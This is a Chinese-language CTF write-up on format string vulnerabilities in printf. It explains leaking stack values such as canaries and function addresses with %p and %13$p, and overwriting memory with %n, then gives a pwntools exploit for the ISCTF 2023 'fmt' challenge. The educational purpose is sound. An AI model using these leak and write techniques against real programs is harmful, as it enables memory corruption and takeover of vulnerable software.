三个例子的引入

目前我遇到的格式化字符串漏洞(format string,后文简称fmt)主要存在于printf函数,本文也就以printf举例。

例一,标准格式的printf

	read(0, buf, 33);
  printf("%s",buf);

例二,占位符与变量

	printf("%d %c %s",a,b,c);//%d %c %s会访问变量以输出整型,字符等。

其中a,b,c为三个变量。

例三,会引发格式化字符串漏洞的printf

	read(0, buf, 33);
  printf(buf);

对比起标准格式的printf,出现漏洞的原因是这里buf由用户控制,而如果用户输入如%d %c %s %x %p %n等占位符,会让printf访问他的参数。明明例三中没有给printf任何参数啊。

%p等占位符参数来源

在gdb里看看就知道了。(由于屏幕问题,一次没截全)

CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp_fmt

CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp_格式化字符串_02

我们知道64位的传参顺序为rdi,rsi,rdx,rcx,r8,r9,从AAAABAAA就是从栈上读取了.

可以看到输出的东西都是和六个传参寄存器里的东西一一对应,而之后的4141414142414141就是从栈上读取的内存了(252d70那个想都不用想就是%p-了)。

唯一的问题就是rdi和rsi的内容是一样的,并且只被输出了一次,这一点一直让我很疑惑,求求大佬教教。(哦对了,还有那个神秘的SUUUU48,可能是canary开启的原因?)

利用之一泄露

例题介绍

现在我们已经知道了如何利用fmt漏洞获取寄存器及栈上的内容。比如canary就可以通过这种方式获取。

这里看看例题,题目开启了canary和pie。

CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp_fmt_03

其中rbp-010是search函数真实地址(这个我真不知道是为啥)。rbp-008是canary。rbp+8是main函数真实地址。经测试,两个函数地址都可以拿来泄露。

%13$p占位符介绍

这是一个用来直接获取第几个参数的占位符。比如%6$p就是直接让printf读取第六个参数并且写出来。

泄露思路

现在我们试试直接计算%k$n的k应该是多少。

CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp_格式化字符串_04

我们刚才知道传参寄存器会出于不知名原因少一个,所以按照5个计算。

以main函数举例,在栈顶从rdirbp+0x8,一个个数会更清晰一点。

		0x7ffcfdbedde0			1
  	0x7ffcfdbedde8			2
  	0x7ffcfdbeddf0			3
    		。。。						
    0x7ffcfdbede18			8

5+8 = 13.所以用%13$p.(一定是从栈顶开始数,并且是printf前一步的栈顶开始数!)

利用之二改写

为什么可以改写,咱还得感谢一个占位符叫%n。

		char buf = "bbbb";
		int n = 0;
		printf("aaaa%s%n",buf,&n);

在这个例子中,%n可以计算前面输出了多少字符,并且根据&n提供的地址把该地址保存的变量改写成字符数量。前面会输出8个字符,所以n会被改写成8.

一定要明白一个点,刚才我们是直接泄露值,现在我们是改写值。

而改写值需要提供的应该是一个指针或地址。

这一点我的理解是比如scanf就需要提供(&n)这样的地址,而printf不改写值,所以只需要(n)本身就行。

ISCTF的fmt题解wp

思路就和刚才差不多,只不过刚才是算要泄露的东西的地址偏移量,现在是算要改写的东西的偏移量。

CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp_fmt_05

我们看到只有v1是18并且v2是52才可以提权。

CTFpwn格式化字符串两种应用及2023ISCTF的fmt题解wp_2023ISCTF_06

首先搞明白一点,我们需要提供的是一个地址,在刚刚

var_A8=v1;
var_A4=v2;
var_A0=&v1=v3;
var_98=&v2=v4;
var_80=&v1=buf[2];
var_18=&v2=buf[3];

现在有一个问题,我们有两个选择。v3和v4或者buf[2]和buf[3]都是地址,我们咋选呢。

我们输入的东西从buf[0]开始写,距离buf[2]和buf[3]很短,要是这样写下去,很容易把buf[2]和buf[3]覆写。这样就printf就取不到地址,也就改写不了v1和v2了。

所以确定用v3和v4。

现在在计算一下偏移量。寄存器还是一样的5,从栈顶开始往下数,v3代表的var_A0和v4代表的var_98是第三个和第四个。

所以用的是%8$n%9$n。最后看看exp

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    #arch = "i386",
    log_level="debug"
)
io = process("./fmt")
#io = remote("43.249.195.138",20550)
def debug():
    gdb.attach(io)
    pause()
debug()
##################################################
payload = b'A'*18 + b'%8$n'#在%8$n前输出18个字符,让v1被改写成18
payload += b'A'*34 + b'%9$n'#在%9$n前再输出34个字符,让v2被改写成18+34=52
io.sendafter(b"> ",payload)
io.interactive()

就这样吧,大伙如果有哪里不懂或是有更好的见解欢迎来评论区交流,我看到了我也会回复滴。